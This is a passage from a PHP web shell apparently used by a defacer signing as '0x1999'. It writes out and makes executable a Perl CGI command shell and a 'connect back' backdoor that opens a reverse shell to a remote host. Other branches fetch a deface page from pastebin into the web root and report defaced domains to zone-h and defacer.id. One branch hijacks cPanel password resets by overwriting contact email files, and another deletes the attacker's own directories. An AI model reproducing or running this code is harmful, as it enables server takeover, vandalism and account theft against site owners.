    $cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBSZWNvZGVkIEJ5IDB4MTk5OQoKJFdpbk5UID0gMDsKJE5UQ21kU2VwID0gIiYiOwokVW5peENtZFNlcCA9ICI7IjsKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsKJFNob3dEeW5hbWljT3V0cHV0ID0gMTsKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7CnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwoJcHJpbnQgPDxFTkQ7CjxodG1sPgo8aGVhZD4KPHRpdGxlPkNHSS1UZWxuZXQgVmVyc2lvbiAxLjA8L3RpdGxlPgokSHRtbE1ldGFIZWFkZXIKPC9oZWFkPgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBBMEEwQSIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8CjxhIGhyZWY9Imh0dHA6Ly93d3cucm9oaXRhYi5jb20vY2dpc2NyaXB0cy9jZ2l0ZWxuZXQuaHRtbCI+SGVscDwvYT48YnI+Cjxmb250IGNvbG9yPSIjQzBDMEMwIiBzaXplPSIzIj4KRU5ECn0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPC9mb250PjwvYm9keT48L2h0bWw+IjsKfQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQo8Y29kZT4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CnN1YiBFeGVjdXRlQ29tbWFuZAp7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRPbGREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkT2xkRGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+IjsKCX0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dAoJewoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsKCQlwcmludCAiPGNvZGU+JFByb21wdCAkUnVuQ29tbWFuZDwvY29kZT48eG1wPiI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOwoJCWlmKCEkV2luTlQpCgkJewoJCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0OwoJCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7CgkJfQoJCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQKCQl7CgkJCSR8PTE7CgkJCSRDb21tYW5kIC49ICIgfCI7CgkJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOwoJCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJCXsKCQkJCSRfID1+IHMvKFxufFxyXG4pJC8vOwoJCQkJcHJpbnQgIiRfXG4iOwoJCQl9CgkJCSR8PTA7CgkJfQoJCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcwoJCXsKCQkJcHJpbnQgYCRDb21tYW5kYDsKCQl9CgkJaWYoISRXaW5OVCkKCQl7CgkJCWFsYXJtKDApOwoJCX0KCQlwcmludCAiPC94bXA+IjsKCX0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKfQomUmVhZFBhcnNlOwomR2V0Q29va2llczsKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwoKJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsKJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9OwokT3B0aW9ucyA9ICRpbnsnbyd9OwokQWN0aW9uID0gJGlueydhJ307CiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7CiRDdXJyZW50RGlyID0gJGlueydkJ307CmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpICMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZFeGVjdXRlQ29tbWFuZDsKfQo=';
    $file = fopen("izo.cin", "w+");
    $write = fwrite($file, "#!/usr/bin/perl\n# Copyright (C) 2001 Rohitab Batra\n# Recoded By 0x1999\n\n\$WinNT = 0;\n\$NTCmdSep = \"&\";\n\$UnixCmdSep = \";\";\n\$CommandTimeoutDuration = 10;\n\$ShowDynamicOutput = 1;\n\$CmdSep = (\$WinNT ? \$NTCmdSep : \$UnixCmdSep);\n\$CmdPwd = (\$WinNT ? \"cd\" : \"pwd\");\n\$PathSep = (\$WinNT ? \"\\\\\" : \"/\");\n\$Redirector = (\$WinNT ? \" 2>&1 1>&2\" : \" 1>&1 2>&1\");\nsub ReadParse \n{\n\tlocal (*in) = @_ if @_;\n\tlocal (\$i, \$loc, \$key, \$val);\n\t\n\t\$MultipartFormData = \$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/;\n\n\tif(\$ENV{'REQUEST_METHOD'} eq \"GET\")\n\t{\n\t\t\$in = \$ENV{'QUERY_STRING'};\n\t}\n\telsif(\$ENV{'REQUEST_METHOD'} eq \"POST\")\n\t{\n\t\tbinmode(STDIN) if \$MultipartFormData & \$WinNT;\n\t\tread(STDIN, \$in, \$ENV{'CONTENT_LENGTH'});\n\t}\n\n\t# handle file upload data\n\tif(\$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/)\n\t{\n\t\t\$Boundary = '--'.\$1; # please refer to RFC1867 \n\t\t@list = split(/\$Boundary/, \$in); \n\t\t\$HeaderBody = \$list[1];\n\t\t\$HeaderBody =~ /\\r\\n\\r\\n|\\n\\n/;\n\t\t\$Header = \$`;\n\t\t\$Body = \$';\n \t\t\$Body =~ s/\\r\\n\$//; # the last \\r\\n was put in by Netscape\n\t\t\$in{'filedata'} = \$Body;\n\t\t\$Header =~ /filename=\\\"(.+)\\\"/; \n\t\t\$in{'f'} = \$1; \n\t\t\$in{'f'} =~ s/\\\"//g;\n\t\t\$in{'f'} =~ s/\\s//g;\n\n\t\t# parse trailer\n\t\tfor(\$i=2; \$list[\$i]; \$i++)\n\t\t{ \n\t\t\t\$list[\$i] =~ s/^.+name=\$//;\n\t\t\t\$list[\$i] =~ /\\\"(\\w+)\\\"/;\n\t\t\t\$key = \$1;\n\t\t\t\$val = \$';\n\t\t\t\$val =~ s/(^(\\r\\n\\r\\n|\\n\\n))|(\\r\\n\$|\\n\$)//g;\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$in{\$key} = \$val; \n\t\t}\n\t}\n\telse # standard post data (url encoded, not multipart)\n\t{\n\t\t@in = split(/&/, \$in);\n\t\tforeach \$i (0 .. \$#in)\n\t\t{\n\t\t\t\$in[\$i] =~ s/\\+/ /g;\n\t\t\t(\$key, \$val) = split(/=/, \$in[\$i], 2);\n\t\t\t\$key =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$in{\$key} .= \"\\0\" if (defined(\$in{\$key}));\n\t\t\t\$in{\$key} .= \$val;\n\t\t}\n\t}\n}\nsub PrintPageHeader\n{\n\t\$EncodedCurrentDir = \$CurrentDir;\n\t\$EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack(\"H*\",\$1)/eg;\n\tprint \"Content-type: text/html\\n\\n\";\n\tprint <<END;\n<html>\n<head>\n<title>CGI-Telnet Version 1.0</title>\n\$HtmlMetaHeader\n</head>\n<body onLoad=\"document.f.@_.focus()\" bgcolor=\"#0A0A0A\" topmargin=\"0\" leftmargin=\"0\" marginwidth=\"0\" marginheight=\"0\">\n<a href=\"\$ScriptLocation?a=upload&d=\$EncodedCurrentDir\">Upload File</a> | \n<a href=\"\$ScriptLocation?a=download&d=\$EncodedCurrentDir\">Download File</a> |\n<a href=\"\$ScriptLocation?a=logout\">Disconnect</a> |\n<a href=\"http://www.rohitab.com/cgiscripts/cgitelnet.html\">Help</a><br>\n<font color=\"#C0C0C0\" size=\"3\">\nEND\n}\nsub PrintPageFooter\n{\n\tprint \"</font></body></html>\";\n}\nsub GetCookies\n{\n\t@httpcookies = split(/; /,\$ENV{'HTTP_COOKIE'});\n\tforeach \$cookie(@httpcookies)\n\t{\n\t\t(\$id, \$val) = split(/=/, \$cookie);\n\t\t\$Cookies{\$id} = \$val;\n\t}\n}\nsub PrintCommandLineInputForm\n{\n\t\$Prompt = \$WinNT ? \"\$CurrentDir> \" : \"[admin\\@\$ServerName \$CurrentDir]\\\$ \";\n\tprint <<END;\n<code>\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n<input type=\"hidden\" name=\"a\" value=\"command\">\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n\$Prompt\n<input type=\"text\" name=\"c\">\n<input type=\"submit\" value=\"Enter\">\n</form>\n</code>\nEND\n}\nsub CommandTimeout\n{\n\tif(!\$WinNT)\n\t{\n\t\talarm(0);\n\t\tprint <<END;\n</xmp>\n<code>\nCommand exceeded maximum time of \$CommandTimeoutDuration second(s).\n<br>Killed it!\n<code>\nEND\n\t\t&PrintCommandLineInputForm;\n\t\t&PrintPageFooter;\n\t\texit;\n\t}\n}\nsub ExecuteCommand\n{\n\tif(\$RunCommand =~ m/^\\s*cd\\s+(.+)/) # it is a change dir command\n\t{\n\t\t# we change the directory internally. The output of the\n\t\t# command is not displayed.\n\t\t\n\t\t\$OldDir = \$CurrentDir;\n\t\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\"cd \$1\".\$CmdSep.\$CmdPwd;\n\t\tchop(\$CurrentDir = `\$Command`);\n\t\t&PrintPageHeader(\"c\");\n\t\t\$Prompt = \$WinNT ? \"\$OldDir> \" : \"[admin\\@\$ServerName \$OldDir]\\\$ \";\n\t\tprint \"<code>\$Prompt \$RunCommand</code>\";\n\t}\n\telse # some other command, display the output\n\t{\n\t\t&PrintPageHeader(\"c\");\n\t\t\$Prompt = \$WinNT ? \"\$CurrentDir> \" : \"[admin\\@\$ServerName \$CurrentDir]\\\$ \";\n\t\tprint \"<code>\$Prompt \$RunCommand</code><xmp>\";\n\t\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\$RunCommand.\$Redirector;\n\t\tif(!\$WinNT)\n\t\t{\n\t\t\t\$SIG{'ALRM'} = \\&CommandTimeout;\n\t\t\talarm(\$CommandTimeoutDuration);\n\t\t}\n\t\tif(\$ShowDynamicOutput) # show output as it is generated\n\t\t{\n\t\t\t\$|=1;\n\t\t\t\$Command .= \" |\";\n\t\t\topen(CommandOutput, \$Command);\n\t\t\twhile(<CommandOutput>)\n\t\t\t{\n\t\t\t\t\$_ =~ s/(\\n|\\r\\n)\$//;\n\t\t\t\tprint \"\$_\\n\";\n\t\t\t}\n\t\t\t\$|=0;\n\t\t}\n\t\telse # show output after command completes\n\t\t{\n\t\t\tprint `\$Command`;\n\t\t}\n\t\tif(!\$WinNT)\n\t\t{\n\t\t\talarm(0);\n\t\t}\n\t\tprint \"</xmp>\";\n\t}\n\t&PrintCommandLineInputForm;\n\t&PrintPageFooter;\n}\n&ReadParse;\n&GetCookies;\n\$ScriptLocation = \$ENV{'SCRIPT_NAME'};\n\$ServerName = \$ENV{'SERVER_NAME'};\n\n\$RunCommand = \$in{'c'};\n\$TransferFile = \$in{'f'};\n\$Options = \$in{'o'};\n\$Action = \$in{'a'};\n\$Action = \"command\" if(\$Action eq \"\");\n\$CurrentDir = \$in{'d'};\nchop(\$CurrentDir = `\$CmdPwd`) if(\$CurrentDir eq \"\");\nif(\$Action eq \"command\") # user wants to run a command\n{\n\t&ExecuteCommand;\n}\n");
    fclose($file);
    chmod("izo.cin", 0755);
    $netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
YXRhY2hlZFxuXG4iOw==';
    $file = fopen("dc.pl", "w+");
    $write = fwrite($file, "#!/usr/bin/perl\r\n      use Socket;\r\n      print \"Data Cha0s Connect Back Backdoor\\n\\n\";\r\n      if (!\$ARGV[0]) {\r\n        printf \"Usage: \$0 [Host] <Port>\\n\";\r\n        exit(1);\r\n      }\r\n      print \"[*] Dumping Arguments\\n\";\r\n      \$host = \$ARGV[0];\r\n      \$port = 80;\r\n      if (\$ARGV[1]) {\r\n        \$port = \$ARGV[1];\r\n      }\r\n      print \"[*] Connecting...\\n\";\r\n      \$proto = getprotobyname('tcp') || die(\"Unknown Protocol\\n\");\r\n      socket(SERVER, PF_INET, SOCK_STREAM, \$proto) || die (\"Socket Error\\n\");\r\n      my \$target = inet_aton(\$host);\r\n      if (!connect(SERVER, pack \"SnA4x8\", 2, \$port, \$target)) {\r\n        die(\"Unable to Connect\\n\");\r\n      }\r\n      print \"[*] Spawning Shell\\n\";\r\n      if (!fork( )) {\r\n        open(STDIN,\">&SERVER\");\r\n        open(STDOUT,\">&SERVER\");\r\n        open(STDERR,\">&SERVER\");\r\n        exec {'/bin/sh'} '-bash' . \"\\0\" x 4;\r\n        exit(0);\r\n      }\r\n      print \"[*] Datached\\n\\n\";");
    fclose($file);
    chmod("dc.pl", 0755);
    echo "<iframe src=cgitelnet1/izo.cin width=100% height=100% frameborder=0></iframe>\r\n\r\n\r\n </div>";
} elseif (isset($_GET['do']) && $_GET['do'] == 'deleteme') {
    function delete_dir($dir)
    {
        if (is_link($dir)) {
            unlink($dir);
        } elseif (!file_exists($dir)) {
            return;
        } elseif (is_dir($dir)) {
            foreach (scandir($dir) as $file) {
                if ($file != '.' && $file != '..') {
                    delete_dir("{$dir}/{$file}");
                }
            }
            rmdir($dir);
        } elseif (is_file($dir)) {
            unlink($dir);
        } else {
            echo "WARNING: Cannot delete {$dir} (unknown file type)\n";
        }
    }
    delete_dir("/var/www/html/0xsym/");
    delete_dir("/var/www/html/0xsymlink/");
    delete_dir("/var/www/html/MeLeX/");
    delete_dir("/var/www/html/0xsymv/");
    delete_dir("/var/www/html/0xsym404/");
    delete_dir("/var/www/html/cgitelnet1/");
    delete_dir("/var/www/html/0x1/");
    unlink("/var/www/html/del.php.311b785dd9a3863da1eb8df2a422eaa7.bin");
    echo "<script>window.location='./';</script>";
} elseif (isset($_GET['do']) && $_GET['do'] == 'mirror') {
    if ($_POST['arsip'] == '1') {
        $domain = explode("\r\n", $_POST['url']);
        $nick = $_POST['nick'];
        echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier={$nick}/published=0' target='_blank'>http://www.zone-h.org/archive/notifier={$nick}/published=0</a><br>";
        echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier={$nick}' target='_blank'>http://www.zone-h.org/archive/notifier={$nick}</a><br><br>";
        function zoneh($url, $nick)
        {
            $ch = curl_init("http://www.zone-h.com/notify/single");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer={$nick}&domain1={$url}&hackmode=1&reason=1&submit=Send");
            return curl_exec($ch);
        }
        foreach ($domain as $url) {
            $zoneh = zoneh($url, $nick);
            if (preg_match("/color=\"red\">OK<\\/font><\\/li>/i", $zoneh)) {
                echo "{$url} -> <font color=lime>OK</font><br>";
            } else {
                echo "{$url} -> <font color=red>ERROR</font><br>";
            }
        }
    }
    if ($_POST['arsip'] == '2') {
        $site = explode("\r\n", $_POST['sites']);
        $hekel = $_POST['nick'];
        $tim = $_POST['tim'];
        foreach ($site as $sites) {
            $zh = $sites;
            $form_url = "https://www.defacer.id/notify";
            $data_to_post = array();
            $data_to_post['attacker'] = "{$hekel}";
            $data_to_post['team'] = "{$tim}";
            $data_to_post['poc'] = 'SQL Injection';
            $data_to_post['url'] = "{$zh}";
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $form_url);
            curl_setopt($curl, CURLOPT_POST, sizeof($data_to_post));
            curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)");
            //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
            curl_setopt($curl, CURLOPT_POSTFIELDS, $data_to_post);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
            $result = curl_exec($curl);
            echo $result;
            curl_close($curl);
            echo "<br>";
        }
    } else {
        echo "\r\n\t\t<script type='text/javascript'>//<![CDATA[\r\nwindow.onload=function(){\r\ndocument.getElementById('arsip').addEventListener('change', function () {\r\n\tvar style = this.value == 2 ? 'block' : 'none';\r\n    document.getElementById('defacerid').style.display = style;\r\n});\r\n}//]]>\r\n\r\n</script><center>\r\n\t\t<form method='post'>\r\n        <select class='select' id='arsip' name='arsip' style='width: 450px;' height='10'>\r\n        <option value='1'>Zone-h</option>\r\n        <option value='2'>Defacer ID</option></select><br>\r\n\t\t<u>Defacer</u>: <br>\r\n        <input type='text' name='nick' size='50' value='0x1999'><br>\r\n<div id='defacerid' style='display: none;'><br>\r\n<u>Team</u>:<br>\r\n        <input type='text' name='tim' size='50' value='Indonesian Code Party'><br><br>\r\n\t\t</div>\r\n        <u>Domains</u>: <br>\r\n        <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>\r\n        <input type='submit' name='submit' value='Submit' style='width: 450px;'>\r\n        </form>";
    }
    echo "</center>";
} elseif (isset($_GET['do']) && $_GET['do'] == 'hek') {
    $url = "http://" . $_SERVER['SERVER_NAME'] . "/0x.htm";
    $hh = $_SERVER['DOCUMENT_ROOT'] . "/0x.htm";
    @file_put_contents($hh, file_get_contents("http://pastebin.com/raw/PDcuwBug"));
    function zoneh($url, $nick)
    {
        $ch = curl_init("http://www.zone-h.com/notify/single");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer={$nick}&domain1={$url}&hackmode=1&reason=1&submit=Send");
        return curl_exec($ch);
    }
    $zoneh = zoneh($url, "0x1999");
    if (preg_match("/color=\"red\">OK<\\/font><\\/li>/i", $zoneh)) {
        echo "{$url} -> <font color=lime>OK</font><br>";
    } else {
        echo "{$url} -> <font color=red>ERROR</font><br>";
    }
} elseif (isset($_GET['do']) && $_GET['do'] == 'cpres') {
    echo "Enter email account : <form method='post'><input type='text' name='email' value='resetpass@hi2.in'> <input type='submit' value='Gas'></form>";
    if ($_POST['email']) {
        $file3 = $_POST['email'];
        $fp3 = fopen("/home/" . $user . "/.contactemail", "w");
        $fw3 = fwrite($fp3, $file3);
        @fclose($fp3);
        $fp4 = fopen("/home/" . $user . "/.cpanel/contactinfo", "w");
        $fw4 = fwrite($fp4, $file3);
        @fclose($fp4);
        $link = $_SERVER['HTTP_HOST'];
        echo "Login here : <a href='https://{$link}:2083/resetpass?start=1&user={$user}' target='_BLANK'>https://{$link}:2083/resetpass?start=1&user={$user}</a> or <a href='http://{$link}:2082/resetpass?start=1&user={$user}' target='_BLANK'>http://{$link}:2082/resetpass?start=1&user={$user}</a>";
    }
} elseif (isset($_GET['do']) && $_GET['do'] == 'crp') {
